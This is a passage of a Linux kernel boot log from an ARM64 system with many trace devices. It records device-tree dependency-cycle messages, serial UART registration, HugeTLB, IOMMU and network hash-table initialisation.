> [ 0.428680] 0 pages in range for non-PLT usage
> [ 0.428681] 513200 pages in range for PLT usage
> [ 0.433541] DMI not present or invalid.
> [ 0.442742] NET: Registered PF_NETLINK/PF_ROUTE protocol family
> [ 0.449059] DMA: preallocated 4096 KiB GFP_KERNEL pool for atomic allocations
> [ 0.456472] DMA: preallocated 4096 KiB GFP_KERNEL|GFP_DMA pool for atomic allocations
> [ 0.464516] audit: initializing netlink subsys (disabled)
> [ 0.470097] audit: type=2000 audit(0.284:1): state=initialized audit_enabled=0 res=1
> [ 0.470798] thermal_sys: Registered thermal governor 'step_wise'
> [ 0.478043] thermal_sys: Registered thermal governor 'power_allocator'
> [ 0.484227] cpuidle: using governor menu
> [ 0.494980] hw-breakpoint: found 6 breakpoint and 4 watchpoint registers.
> [ 0.501966] ASID allocator initialised with 65536 entries
> [ 0.507736] Serial: AMBA PL011 UART driver
> [ 0.512306] sdei: SDEIv1.0 (0x0) detected in firmware.
> [ 0.519261] /soc@0/ete0: Fixed dependency cycle(s) with /soc@0/etf0@87a004010000
> [ 0.526874] /soc@0/etf0@87a004010000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.534905] /soc@0/etf0@87a004010000: Fixed dependency cycle(s) with /soc@0/ete0
> [ 0.542505] /soc@0/ete1: Fixed dependency cycle(s) with /soc@0/etf1@87a004110000
> [ 0.550103] /soc@0/etf1@87a004110000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.558139] /soc@0/etf1@87a004110000: Fixed dependency cycle(s) with /soc@0/ete1
> [ 0.565742] /soc@0/ete2: Fixed dependency cycle(s) with /soc@0/etf2@87a004210000
> [ 0.573340] /soc@0/etf2@87a004210000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.581372] /soc@0/etf2@87a004210000: Fixed dependency cycle(s) with /soc@0/ete2
> [ 0.588973] /soc@0/ete3: Fixed dependency cycle(s) with /soc@0/etf3@87a004310000
> [ 0.596571] /soc@0/etf3@87a004310000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.604598] /soc@0/etf3@87a004310000: Fixed dependency cycle(s) with /soc@0/ete3
> [ 0.612199] /soc@0/ete4: Fixed dependency cycle(s) with /soc@0/etf4@87a004410000
> [ 0.619799] /soc@0/etf4@87a004410000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.627829] /soc@0/etf4@87a004410000: Fixed dependency cycle(s) with /soc@0/ete4
> [ 0.635434] /soc@0/ete5: Fixed dependency cycle(s) with /soc@0/etf5@87a004510000
> [ 0.643033] /soc@0/etf5@87a004510000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.651070] /soc@0/etf5@87a004510000: Fixed dependency cycle(s) with /soc@0/ete5
> [ 0.658671] /soc@0/ete6: Fixed dependency cycle(s) with /soc@0/etf6@87a004610000
> [ 0.666277] /soc@0/etf6@87a004610000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.674316] /soc@0/etf6@87a004610000: Fixed dependency cycle(s) with /soc@0/ete6
> [ 0.681915] /soc@0/ete7: Fixed dependency cycle(s) with /soc@0/etf7@87a004710000
> [ 0.689520] /soc@0/etf7@87a004710000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.697553] /soc@0/etf7@87a004710000: Fixed dependency cycle(s) with /soc@0/ete7
> [ 0.705151] /soc@0/ete8: Fixed dependency cycle(s) with /soc@0/etf8@87a004810000
> [ 0.712755] /soc@0/etf8@87a004810000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.720790] /soc@0/etf8@87a004810000: Fixed dependency cycle(s) with /soc@0/ete8
> [ 0.728390] /soc@0/ete9: Fixed dependency cycle(s) with /soc@0/etf9@87a004910000
> [ 0.735995] /soc@0/etf9@87a004910000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.744029] /soc@0/etf9@87a004910000: Fixed dependency cycle(s) with /soc@0/ete9
> [ 0.751639] /soc@0/ete10: Fixed dependency cycle(s) with /soc@0/etf10@87a004a10000
> [ 0.759414] /soc@0/etf10@87a004a10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.767532] /soc@0/etf10@87a004a10000: Fixed dependency cycle(s) with /soc@0/ete10
> [ 0.775304] /soc@0/ete11: Fixed dependency cycle(s) with /soc@0/etf11@87a004b10000
> [ 0.783088] /soc@0/etf11@87a004b10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.791210] /soc@0/etf11@87a004b10000: Fixed dependency cycle(s) with /soc@0/ete11
> [ 0.798988] /soc@0/ete12: Fixed dependency cycle(s) with /soc@0/etf12@87a004c10000
> [ 0.806768] /soc@0/etf12@87a004c10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.814889] /soc@0/etf12@87a004c10000: Fixed dependency cycle(s) with /soc@0/ete12
> [ 0.822669] /soc@0/ete13: Fixed dependency cycle(s) with /soc@0/etf13@87a004d10000
> [ 0.830448] /soc@0/etf13@87a004d10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.838571] /soc@0/etf13@87a004d10000: Fixed dependency cycle(s) with /soc@0/ete13
> [ 0.846353] /soc@0/ete14: Fixed dependency cycle(s) with /soc@0/etf14@87a004e10000
> [ 0.854131] /soc@0/etf14@87a004e10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.862256] /soc@0/etf14@87a004e10000: Fixed dependency cycle(s) with /soc@0/ete14
> [ 0.870037] /soc@0/ete15: Fixed dependency cycle(s) with /soc@0/etf15@87a004f10000
> [ 0.877814] /soc@0/etf15@87a004f10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.885929] /soc@0/etf15@87a004f10000: Fixed dependency cycle(s) with /soc@0/ete15
> [ 0.893705] /soc@0/ete16: Fixed dependency cycle(s) with /soc@0/etf16@87a005010000
> [ 0.901485] /soc@0/etf16@87a005010000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.909611] /soc@0/etf16@87a005010000: Fixed dependency cycle(s) with /soc@0/ete16
> [ 0.917390] /soc@0/ete17: Fixed dependency cycle(s) with /soc@0/etf17@87a005110000
> [ 0.925170] /soc@0/etf17@87a005110000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.933288] /soc@0/etf17@87a005110000: Fixed dependency cycle(s) with /soc@0/ete17
> [ 0.941067] /soc@0/ete18: Fixed dependency cycle(s) with /soc@0/etf18@87a005210000
> [ 0.948849] /soc@0/etf18@87a005210000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.956969] /soc@0/etf18@87a005210000: Fixed dependency cycle(s) with /soc@0/ete18
> [ 0.964756] /soc@0/ete19: Fixed dependency cycle(s) with /soc@0/etf19@87a005310000
> [ 0.972535] /soc@0/etf19@87a005310000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.980660] /soc@0/etf19@87a005310000: Fixed dependency cycle(s) with /soc@0/ete19
> [ 0.988439] /soc@0/ete20: Fixed dependency cycle(s) with /soc@0/etf20@87a005410000
> [ 0.996222] /soc@0/etf20@87a005410000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.004348] /soc@0/etf20@87a005410000: Fixed dependency cycle(s) with /soc@0/ete20
> [ 1.012128] /soc@0/ete21: Fixed dependency cycle(s) with /soc@0/etf21@87a005510000
> [ 1.019907] /soc@0/etf21@87a005510000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.028031] /soc@0/etf21@87a005510000: Fixed dependency cycle(s) with /soc@0/ete21
> [ 1.035810] /soc@0/ete22: Fixed dependency cycle(s) with /soc@0/etf22@87a005610000
> [ 1.043593] /soc@0/etf22@87a005610000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.051716] /soc@0/etf22@87a005610000: Fixed dependency cycle(s) with /soc@0/ete22
> [ 1.059493] /soc@0/ete23: Fixed dependency cycle(s) with /soc@0/etf23@87a005710000
> [ 1.067269] /soc@0/etf23@87a005710000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.075394] /soc@0/etf23@87a005710000: Fixed dependency cycle(s) with /soc@0/ete23
> [ 1.083157] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf23@87a005710000
> [ 1.091282] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf22@87a005610000
> [ 1.099412] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf21@87a005510000
> [ 1.107531] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf20@87a005410000
> [ 1.115656] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf19@87a005310000
> [ 1.123777] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf18@87a005210000
> [ 1.131905] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf17@87a005110000
> [ 1.140033] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf16@87a005010000
> [ 1.148160] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf15@87a004f10000
> [ 1.156282] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf14@87a004e10000
> [ 1.164400] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf13@87a004d10000
> [ 1.172518] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf12@87a004c10000
> [ 1.180637] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf11@87a004b10000
> [ 1.188759] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf10@87a004a10000
> [ 1.196882] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf9@87a004910000
> [ 1.204917] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf8@87a004810000
> [ 1.212946] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf7@87a004710000
> [ 1.220979] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf6@87a004610000
> [ 1.229015] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf5@87a004510000
> [ 1.237053] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf4@87a004410000
> [ 1.245080] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf3@87a004310000
> [ 1.253105] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf2@87a004210000
> [ 1.261139] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf1@87a004110000
> [ 1.269178] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf0@87a004010000
> [ 1.277212] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/sh_etf@87a100050000
> [ 1.285430] /soc@0/sh_etf@87a100050000: Fixed dependency cycle(s) with /soc@0/sh_etr@87a100060000
> [ 1.294546] /soc@0/sh_etf@87a100050000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.302773] /soc@0/sh_etr@87a100060000: Fixed dependency cycle(s) with /soc@0/sh_etf@87a100050000
> [ 1.312160] 87e028000000.serial: ttyAMA0 at MMIO 0x87e028000000 (irq = 14, base_baud = 0) is a PL011 rev3
> [ 1.321985] printk: console [ttyAMA0] enabled
> [ 1.321985] printk: console [ttyAMA0] enabled
> [ 1.330809] printk: legacy bootconsole [pl11] disabled
> [ 1.330809] printk: legacy bootconsole [pl11] disabled
> [ 1.346351] 87e029000000.serial: ttyAMA1 at MMIO 0x87e029000000 (irq = 15, base_baud = 0) is a PL011 rev3
> [ 1.346514] 87e02a000000.serial: ttyAMA2 at MMIO 0x87e02a000000 (irq = 16, base_baud = 0) is a PL011 rev3
> [ 1.346641] 87e02b000000.serial: ttyAMA3 at MMIO 0x87e02b000000 (irq = 17, base_baud = 0) is a PL011 rev3
> [ 1.346765] 87e02c000000.serial: ttyAMA4 at MMIO 0x87e02c000000 (irq = 18, base_baud = 0) is a PL011 rev3
> [ 1.346892] 87e02d000000.serial: ttyAMA5 at MMIO 0x87e02d000000 (irq = 19, base_baud = 0) is a PL011 rev3
> [ 1.347025] 87e02e000000.serial: ttyAMA6 at MMIO 0x87e02e000000 (irq = 20, base_baud = 0) is a PL011 rev3
> [ 1.347147] 87e02f000000.serial: ttyAMA7 at MMIO 0x87e02f000000 (irq = 21, base_baud = 0) is a PL011 rev3
> [ 1.347533] /soc@0/ete0: Fixed dependency cycle(s) with /soc@0/etf0@87a004010000
> [ 1.347611] /soc@0/ete0: Fixed dependency cycle(s) with /soc@0/etf0@87a004010000
> [ 1.347642] /soc@0/etf0@87a004010000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.347644] /soc@0/etf0@87a004010000: Fixed dependency cycle(s) with /soc@0/ete0
> [ 1.347746] /soc@0/ete1: Fixed dependency cycle(s) with /soc@0/etf1@87a004110000
> [ 1.347821] /soc@0/ete1: Fixed dependency cycle(s) with /soc@0/etf1@87a004110000
> [ 1.347850] /soc@0/etf1@87a004110000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.347852] /soc@0/etf1@87a004110000: Fixed dependency cycle(s) with /soc@0/ete1
> [ 1.347945] /soc@0/ete2: Fixed dependency cycle(s) with /soc@0/etf2@87a004210000
> [ 1.348024] /soc@0/ete2: Fixed dependency cycle(s) with /soc@0/etf2@87a004210000
> [ 1.348056] /soc@0/etf2@87a004210000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.348058] /soc@0/etf2@87a004210000: Fixed dependency cycle(s) with /soc@0/ete2
> [ 1.348149] /soc@0/ete3: Fixed dependency cycle(s) with /soc@0/etf3@87a004310000
> [ 1.348222] /soc@0/ete3: Fixed dependency cycle(s) with /soc@0/etf3@87a004310000
> [ 1.348247] /soc@0/etf3@87a004310000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.348250] /soc@0/etf3@87a004310000: Fixed dependency cycle(s) with /soc@0/ete3
> [ 1.348340] /soc@0/ete4: Fixed dependency cycle(s) with /soc@0/etf4@87a004410000
> [ 1.348415] /soc@0/ete4: Fixed dependency cycle(s) with /soc@0/etf4@87a004410000
> [ 1.348439] /soc@0/etf4@87a004410000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.348442] /soc@0/etf4@87a004410000: Fixed dependency cycle(s) with /soc@0/ete4
> [ 1.350759] /soc@0/ete5: Fixed dependency cycle(s) with /soc@0/etf5@87a004510000
> [ 1.350832] /soc@0/ete5: Fixed dependency cycle(s) with /soc@0/etf5@87a004510000
> [ 1.350858] /soc@0/etf5@87a004510000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.350861] /soc@0/etf5@87a004510000: Fixed dependency cycle(s) with /soc@0/ete5
> [ 1.353148] /soc@0/ete6: Fixed dependency cycle(s) with /soc@0/etf6@87a004610000
> [ 1.353231] /soc@0/ete6: Fixed dependency cycle(s) with /soc@0/etf6@87a004610000
> [ 1.353255] /soc@0/etf6@87a004610000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.353257] /soc@0/etf6@87a004610000: Fixed dependency cycle(s) with /soc@0/ete6
> [ 1.355538] /soc@0/ete7: Fixed dependency cycle(s) with /soc@0/etf7@87a004710000
> [ 1.355607] /soc@0/ete7: Fixed dependency cycle(s) with /soc@0/etf7@87a004710000
> [ 1.355630] /soc@0/etf7@87a004710000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.355633] /soc@0/etf7@87a004710000: Fixed dependency cycle(s) with /soc@0/ete7
> [ 1.357949] /soc@0/ete8: Fixed dependency cycle(s) with /soc@0/etf8@87a004810000
> [ 1.358019] /soc@0/ete8: Fixed dependency cycle(s) with /soc@0/etf8@87a004810000
> [ 1.358042] /soc@0/etf8@87a004810000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.358045] /soc@0/etf8@87a004810000: Fixed dependency cycle(s) with /soc@0/ete8
> [ 1.360332] /soc@0/ete9: Fixed dependency cycle(s) with /soc@0/etf9@87a004910000
> [ 1.360402] /soc@0/ete9: Fixed dependency cycle(s) with /soc@0/etf9@87a004910000
> [ 1.360432] /soc@0/etf9@87a004910000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.360435] /soc@0/etf9@87a004910000: Fixed dependency cycle(s) with /soc@0/ete9
> [ 1.362743] /soc@0/ete10: Fixed dependency cycle(s) with /soc@0/etf10@87a004a10000
> [ 1.362816] /soc@0/ete10: Fixed dependency cycle(s) with /soc@0/etf10@87a004a10000
> [ 1.362840] /soc@0/etf10@87a004a10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.362843] /soc@0/etf10@87a004a10000: Fixed dependency cycle(s) with /soc@0/ete10
> [ 1.365128] /soc@0/ete11: Fixed dependency cycle(s) with /soc@0/etf11@87a004b10000
> [ 1.365196] /soc@0/ete11: Fixed dependency cycle(s) with /soc@0/etf11@87a004b10000
> [ 1.365218] /soc@0/etf11@87a004b10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.365220] /soc@0/etf11@87a004b10000: Fixed dependency cycle(s) with /soc@0/ete11
> [ 1.367528] /soc@0/ete12: Fixed dependency cycle(s) with /soc@0/etf12@87a004c10000
> [ 1.367594] /soc@0/ete12: Fixed dependency cycle(s) with /soc@0/etf12@87a004c10000
> [ 1.367617] /soc@0/etf12@87a004c10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.367619] /soc@0/etf12@87a004c10000: Fixed dependency cycle(s) with /soc@0/ete12
> [ 1.369913] /soc@0/ete13: Fixed dependency cycle(s) with /soc@0/etf13@87a004d10000
> [ 1.369980] /soc@0/ete13: Fixed dependency cycle(s) with /soc@0/etf13@87a004d10000
> [ 1.370001] /soc@0/etf13@87a004d10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.370004] /soc@0/etf13@87a004d10000: Fixed dependency cycle(s) with /soc@0/ete13
> [ 1.372307] /soc@0/ete14: Fixed dependency cycle(s) with /soc@0/etf14@87a004e10000
> [ 1.372373] /soc@0/ete14: Fixed dependency cycle(s) with /soc@0/etf14@87a004e10000
> [ 1.372394] /soc@0/etf14@87a004e10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.372397] /soc@0/etf14@87a004e10000: Fixed dependency cycle(s) with /soc@0/ete14
> [ 1.374688] /soc@0/ete15: Fixed dependency cycle(s) with /soc@0/etf15@87a004f10000
> [ 1.374754] /soc@0/ete15: Fixed dependency cycle(s) with /soc@0/etf15@87a004f10000
> [ 1.374778] /soc@0/etf15@87a004f10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.374780] /soc@0/etf15@87a004f10000: Fixed dependency cycle(s) with /soc@0/ete15
> [ 1.377080] /soc@0/ete16: Fixed dependency cycle(s) with /soc@0/etf16@87a005010000
> [ 1.377147] /soc@0/ete16: Fixed dependency cycle(s) with /soc@0/etf16@87a005010000
> [ 1.377167] /soc@0/etf16@87a005010000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.377170] /soc@0/etf16@87a005010000: Fixed dependency cycle(s) with /soc@0/ete16
> [ 1.379477] /soc@0/ete17: Fixed dependency cycle(s) with /soc@0/etf17@87a005110000
> [ 1.379543] /soc@0/ete17: Fixed dependency cycle(s) with /soc@0/etf17@87a005110000
> [ 1.379563] /soc@0/etf17@87a005110000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.379565] /soc@0/etf17@87a005110000: Fixed dependency cycle(s) with /soc@0/ete17
> [ 1.381863] /soc@0/ete18: Fixed dependency cycle(s) with /soc@0/etf18@87a005210000
> [ 1.381931] /soc@0/ete18: Fixed dependency cycle(s) with /soc@0/etf18@87a005210000
> [ 1.381951] /soc@0/etf18@87a005210000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.381954] /soc@0/etf18@87a005210000: Fixed dependency cycle(s) with /soc@0/ete18
> [ 1.384229] /soc@0/ete19: Fixed dependency cycle(s) with /soc@0/etf19@87a005310000
> [ 1.384304] /soc@0/ete19: Fixed dependency cycle(s) with /soc@0/etf19@87a005310000
> [ 1.384323] /soc@0/etf19@87a005310000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.384325] /soc@0/etf19@87a005310000: Fixed dependency cycle(s) with /soc@0/ete19
> [ 1.386640] /soc@0/ete20: Fixed dependency cycle(s) with /soc@0/etf20@87a005410000
> [ 1.386706] /soc@0/ete20: Fixed dependency cycle(s) with /soc@0/etf20@87a005410000
> [ 1.386726] /soc@0/etf20@87a005410000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.386728] /soc@0/etf20@87a005410000: Fixed dependency cycle(s) with /soc@0/ete20
> [ 1.389030] /soc@0/ete21: Fixed dependency cycle(s) with /soc@0/etf21@87a005510000
> [ 1.389097] /soc@0/ete21: Fixed dependency cycle(s) with /soc@0/etf21@87a005510000
> [ 1.389116] /soc@0/etf21@87a005510000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.389118] /soc@0/etf21@87a005510000: Fixed dependency cycle(s) with /soc@0/ete21
> [ 1.391398] /soc@0/ete22: Fixed dependency cycle(s) with /soc@0/etf22@87a005610000
> [ 1.391468] /soc@0/ete22: Fixed dependency cycle(s) with /soc@0/etf22@87a005610000
> [ 1.391492] /soc@0/etf22@87a005610000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.391495] /soc@0/etf22@87a005610000: Fixed dependency cycle(s) with /soc@0/ete22
> [ 1.393772] /soc@0/ete23: Fixed dependency cycle(s) with /soc@0/etf23@87a005710000
> [ 1.393836] /soc@0/ete23: Fixed dependency cycle(s) with /soc@0/etf23@87a005710000
> [ 1.393853] /soc@0/etf23@87a005710000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.393856] /soc@0/etf23@87a005710000: Fixed dependency cycle(s) with /soc@0/ete23
> [ 1.396180] /soc@0/etf23@87a005710000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396198] /soc@0/etf22@87a005610000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396215] /soc@0/etf21@87a005510000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396232] /soc@0/etf20@87a005410000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396252] /soc@0/etf19@87a005310000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396269] /soc@0/etf18@87a005210000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396286] /soc@0/etf17@87a005110000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396303] /soc@0/etf16@87a005010000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396320] /soc@0/etf15@87a004f10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396340] /soc@0/etf14@87a004e10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396357] /soc@0/etf13@87a004d10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396374] /soc@0/etf12@87a004c10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396391] /soc@0/etf11@87a004b10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396408] /soc@0/etf10@87a004a10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396426] /soc@0/etf9@87a004910000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396443] /soc@0/etf8@87a004810000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396459] /soc@0/etf7@87a004710000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396476] /soc@0/etf6@87a004610000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396493] /soc@0/etf5@87a004510000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396511] /soc@0/etf4@87a004410000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396528] /soc@0/etf3@87a004310000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396545] /soc@0/etf2@87a004210000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396563] /soc@0/etf1@87a004110000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396580] /soc@0/etf0@87a004010000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396592] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf23@87a005710000
> [ 1.396602] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf22@87a005610000
> [ 1.396613] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf21@87a005510000
> [ 1.396623] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf20@87a005410000
> [ 1.396632] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf19@87a005310000
> [ 1.396644] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf18@87a005210000
> [ 1.396657] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf17@87a005110000
> [ 1.396670] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf16@87a005010000
> [ 1.396684] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf15@87a004f10000
> [ 1.396697] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf14@87a004e10000
> [ 1.396709] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf13@87a004d10000
> [ 1.396719] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf12@87a004c10000
> [ 1.396728] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf11@87a004b10000
> [ 1.396738] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf10@87a004a10000
> [ 1.396747] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf9@87a004910000
> [ 1.396758] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf8@87a004810000
> [ 1.396768] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf7@87a004710000
> [ 1.396778] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf6@87a004610000
> [ 1.396789] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf5@87a004510000
> [ 1.396798] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf4@87a004410000
> [ 1.396809] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf3@87a004310000
> [ 1.396819] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf2@87a004210000
> [ 1.396830] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf1@87a004110000
> [ 1.396839] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf0@87a004010000
> [ 1.396849] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/sh_etf@87a100050000
> [ 1.396924] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/sh_etf@87a100050000
> [ 1.396934] /soc@0/sh_etf@87a100050000: Fixed dependency cycle(s) with /soc@0/sh_etr@87a100060000
> [ 1.396944] /soc@0/sh_etf@87a100050000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396982] /soc@0/sh_etf@87a100050000: Fixed dependency cycle(s) with /soc@0/sh_etr@87a100060000
> [ 1.396998] /soc@0/sh_etr@87a100060000: Fixed dependency cycle(s) with /soc@0/sh_etf@87a100050000
> [ 1.443408] HugeTLB: registered 1.00 GiB page size, pre-allocated 0 pages
> [ 1.443410] HugeTLB: 0 KiB vmemmap can be freed for a 1.00 GiB page
> [ 1.443412] HugeTLB: registered 32.0 MiB page size, pre-allocated 0 pages
> [ 1.443412] HugeTLB: 0 KiB vmemmap can be freed for a 32.0 MiB page
> [ 1.443413] HugeTLB: registered 2.00 MiB page size, pre-allocated 0 pages
> [ 1.443414] HugeTLB: 0 KiB vmemmap can be freed for a 2.00 MiB page
> [ 1.443415] HugeTLB: registered 64.0 KiB page size, pre-allocated 0 pages
> [ 1.443415] HugeTLB: 0 KiB vmemmap can be freed for a 64.0 KiB page
> [ 1.465958] ACPI: Interpreter disabled.
> [ 1.466472] iommu: Default domain type: Translated
> [ 1.466473] iommu: DMA domain TLB invalidation policy: strict mode
> [ 1.473347] SCSI subsystem initialized
> [ 1.473378] libata version 3.00 loaded.
> [ 1.517840] usbcore: registered new interface driver usbfs
> [ 1.517847] usbcore: registered new interface driver hub
> [ 1.517858] usbcore: registered new device driver usb
> [ 1.518014] pps_core: LinuxPPS API ver. 1 registered
> [ 1.518015] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti <giometti@linux.it>
> [ 1.518017] PTP clock support registered
> [ 1.518030] EDAC MC: Ver: 3.0.0
> [ 1.518130] scmi_core: SCMI protocol bus registered
> [ 1.518297] FPGA manager framework
> [ 1.518328] Advanced Linux Sound Architecture Driver Initialized.
> [ 1.518542] vgaarb: loaded
> [ 1.525881] clocksource: Switched to clocksource arch_sys_counter
> [ 1.525943] VFS: Disk quotas dquot_6.6.0
> [ 1.525948] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
> [ 1.526035] pnp: PnP ACPI: disabled
> [ 1.527031] NET: Registered PF_INET protocol family
> [ 1.527117] IP idents hash table entries: 262144 (order: 9, 2097152 bytes, linear)
> [ 1.530421] tcp_listen_portaddr_hash hash table entries: 32768 (order: 7, 524288 bytes, linear)
> [ 1.530634] Table-perturb hash table entries: 65536 (order: 6, 262144 bytes, linear)
> [ 1.530641] TCP established hash table entries: 524288 (order: 10, 4194304 bytes, linear)
> [ 1.532233] TCP bind hash table entries: 65536 (order: 9, 2097152 bytes, linear)
> [ 1.533026] TCP: Hash tables configured (established 524288 bind 65536)
> [ 1.533071] UDP hash table entries: 32768 (order: 9, 2097152 bytes, linear)
